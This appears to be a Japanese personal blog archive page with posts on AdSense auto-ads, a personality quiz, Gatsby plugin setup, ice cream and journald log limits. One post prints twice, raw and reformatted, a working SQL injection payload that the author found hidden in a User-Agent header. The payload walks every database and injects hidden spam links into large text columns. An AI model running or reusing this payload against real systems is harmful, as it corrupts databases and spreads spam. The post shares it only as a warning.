masalibの日記

システム開発、運用と猫の写真ブログです

Googleアドセンスの自動広告が表示されない・・・時の対応

AdSenseは自動表示しています。自分は広告の表示箇所のコントロールはできるだけ避けたかった。

サイトトップ以外は、自動広告に頼っていたが3月11日ぐらいから表示件数が減り、3月16日には0件になった。記事更新はしているが意味がわからなかった

  1. コードの確認
  2. 自動広告の設定がされているか
  3. プライバシーポリシー違反は無いか

詳しい記事は以下を参考にした

randamlife.hatenablog.com

もちろん問題なかった

tabi-asobi.com

再設定したほうがいいと書いてあったのでやってみたが撃沈

ダメだ~わからん
\(^o^)/

仕事ならマジで説教くらうレベルだわ~ アクセスが多いページにはちゃんと固定の広告の設定するべきだわ~

「性格免許証」をやってみた

とあるSNSではやっていた「性格免許証」をやってみました
質問が多いので時間がかかりますが、結構あっていると思いますのでぜひやってみてください

性格診断「性格免許証」性格にお墨付きを。無料のハニホー

私の結果

性格の短評

穏やかさにつけこまれる損な性格

基本的な性格

平野匡謙さんは基本的に明るくて、気持ちが前向きです。また考え方は論理的で、世の中をクリアに捉えていることでしょう。自分以外の人に対しても寛容で、狭い価値観でものを言ったりはしませんが、人との接点をどんどん作っていくような性格ではありません。人間関係の広がりはあまり期待できなさそうです。

好き・嫌い

【好き】湯豆腐/一人の時間/こたつ/看護師/金曜の夜/温泉
【嫌い】早起き/アイデア出し/空気を読む/大人の女性/討論/独学
※好き嫌いは、平野匡謙さんの特徴から、プログラムが勝手に判断しています。

性格の大分類

認定された特徴

※免許証に記載しきれなかったものも列挙されています。
強い責任感,委縮,成熟,迫力不足,三日坊主,徹夜は不可,プライド無,こだわり強,手際が悪い,無害,社会が苦手,お人好し,柔軟な考え,気にしすぎ

例えると

料理で例えると「ポトフ」

その他データ

秘かなプライド

みなぎる精神
★★
問題解決能力

コンテンツ力

一つのことにこだわる力
★★★★★
常識からの外れ具合

人に迷惑をかけたくない気持ち
★★★★★
人に流されない心

言論の説得力

フレンドリーさ

心の壁の分厚さ
★★★
ラブ&ピース
★★★★★

https://seikaku.hanihoh.com/license/r/?k=o5c8bdb9ca6618

「Gatsby JS」ブログカードのプラグインを追加する

ブログカードとは

https://masalib.hatenablog.com/entry/2019/03/12/100000

を下記のようなビジュアル的のリンクに変更してくれる機能です masalib.hatenablog.com

インスグラムとかTwitterのリンクを追加したいのでプラグインを導入する事にした

github.com

手順

プラグインをインストールする

gatsbyにはプラグインが用意されているのでインストールする。
なお、ローカルで動かしているサーバー(gatsby develop)を停止してください

$ npm install --save @weknow/gatsby-remark-twitter

プラグインの設定を追加する

gatsby-config.js

    {
      resolve: `gatsby-transformer-remark`,
      options: {
        plugins: [
          {
            resolve: `@raae/gatsby-remark-oembed`,
            options: {
              providers: {
                // Important to exclude providers
                // that adds js to the page.
                // If you do not need them.
                exclude: ["Reddit"]
              }
            }
          }
        ]
      }
    },

念のために差分

f:id:masalib:20190316011824p:plain
差分のソース

確認

変更したいリンクはかならず改行で囲わないといけない

## Instagram

https://www.instagram.com/p/Bof9WhgBmY2/

f:id:masalib:20190316012137p:plain
インスグラムのリンクが変換された結果

## Twitter

I'm sure I'll write a lot more interesting things in the future.

https://twitter.com/raae/status/1047849320865775617

f:id:masalib:20190316012212p:plain
Twitterのリンクが変換された結果

はてなブログは認識されなかった・・・\(^o^)/

スーパーカップバニラ+胡麻でちょっと贅沢!!

ごまアイスが好きなのですが、 市販品でコスパがよくて美味しい物がありません

スーパーカップバニラに「ごま」を投入する事でごまアイスを作っています。 黒ごまの方が香ばしくて美味しいです。

コスパ的には120円ぐらいなのですが200円ぐらいのアイスにグレードアップします。 夏場になったら是非試してほしいです

メールのログがロストする件について

経緯

メール配信をして件数を確認していたらログ消えていた。 でも配信は成功していた。という不思議な状況になった

状況

ログが消えるとmessagesに変なログがでた。

$ view /var/log/messages
journal: Suppressed 6074 messages from /system.slice/postfix.service
journal: Suppressed 5996 messages from /system.slice/postfix.service
journal: Suppressed 5759 messages from /system.slice/postfix.service
journal: Suppressed 5671 messages from /system.slice/postfix.service

Journaldの出力制限

10秒間で200以上のメッセージ出力が発生すると制限されるみたい サービス毎の制限みたいなので、他のログ出力は妨げられることはないそうです

対応について

journaldの出力制限を緩和

$ vi /etc/systemd/journald.conf

RateLimitInterval=10s
RateLimitBurst=20000

参考URLより引用

rsyslogの出力制限の緩和 出力したいメールの出力件数と時間から超えない程度に大きな値を設定して様子をみることにしました。 この設定はメールだけじゃなく他のログ出力(/var/log/messages等)の件数も考慮する必要があるので 制限をかけるならかなり大きくする必要があります。

$ vi /etc/rsyslog.conf.
imjournalRatelimitInterval 600
imjournalRatelimitBurst    2400000

感想

今までは遅いサーバーを共有していたため、発生しなかったが早いサーバーにしたら見た事がない現象に悩まされた。贅沢な悩みだ。

参考URL

http://hakaikosen.hateblo.jp/entry/2016/03/21/230827 https://qiita.com/kitaji0306/items/34efc0efd91e849c0fe9 https://sites.google.com/site/kandamotohiro/systemd/man-journald-conf-no-yi

超ー怖いUSER_AGENT

ログ集計ツールでUSER_AGENTのバイト数エラーがでたので確認したら
クラッキングだった。
バリデーション(入力チェック)かけててよかった

以下UA

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select NAME from sys.databases where (has_dbaccess(NAME)!=0) and NAME not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">abortion pill <a href="http://www.1world2go.com/page/Coupons-Discounts" rel="nofollow">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''abortion pill'''' when 1 then ''''abortion pill'''' else ''''abortion pill'''' end +''''</a> abortion pill</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

!!絶対にコピペして実行しないでください!!責任はとりません!! 怖いので一部は全角にしています

整えたバージョン

Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 rv:24.0) Gecko/20100101 Firefox/24.0);
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
set @b=cursor for select DB_NAME() union select NAME from sys.databases where (has_dbaccess(NAME)!=0) and NAME not in ('master','tempdb','model','msdb',DB_NAME());
open @b;
fetch next from @b into @w;
while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';
declare @c cursor;
declare @d varchar(4000);
set @c=cursor for select ''UPDATE [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">abortion pill <a href="http://www.1world2go.com/page/Coupons-Discounts" rel="nofollow">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''abortion pill'''' when 1 then ''''abortion pill'''' else ''''abortion pill'''' end +''''</a> abortion pill</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));
open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
end;
close @c end try begin catch end catch';
exec (@s);
fetch next from @b into @w;
end;
close @b--

入力パラメータ(POST,GET)は絶対にチェックしているが USER_AGENTに仕込むなんてハッカーの人は発想がすごいな~

「Gatsby JS」sitemap.xmlのプラグインを追加する

もしかしてsitemap.xmlはいらないかもしれないが、Search Consoleに登録したいので プラグインを追加することにした

手順

手順は公式サイトどおりにやっています

www.gatsbyjs.org

プラグインをインストールする

gatsbyにはプラグインが用意されているのでインストールする。
なお、ローカルで動かしているサーバー(gatsby develop)を停止してください

$ npm install --save gatsby-plugin-google-analytics

プラグインの設定を追加する

/gatsby-config.jsを修正

siteUrlの部分が追加した部分

  siteMetadata: {
    title: 'Masalib Gatsby Blog',
    description:
      'Gatsby Study test',
    siteUrl: `https://masalib-gatsby-blog.netlify.com/`,
  },

f:id:masalib:20190312023840j:plain

あとはプラグインを記述する

    `gatsby-plugin-sitemap`,
    {
      resolve: `gatsby-plugin-sitemap`,
      options: {
        output: `/sitemap.xml`,
        exclude: ["/tag/*"],
        query: `
          {
            site {
              siteMetadata {
                siteUrl
              }
            }
            allSitePage {
              edges {
                node {
                  path
                }
              }
            }
        }`
      },
    },

念のために差分

f:id:masalib:20190312023820j:plain
プラグイン追加

確認

developでは確認できないので「npm run build」で出力するかデプロイする。

f:id:masalib:20190312023752j:plain
sitemap.xmlの出力した結果

残念な事に、更新日時は反映されない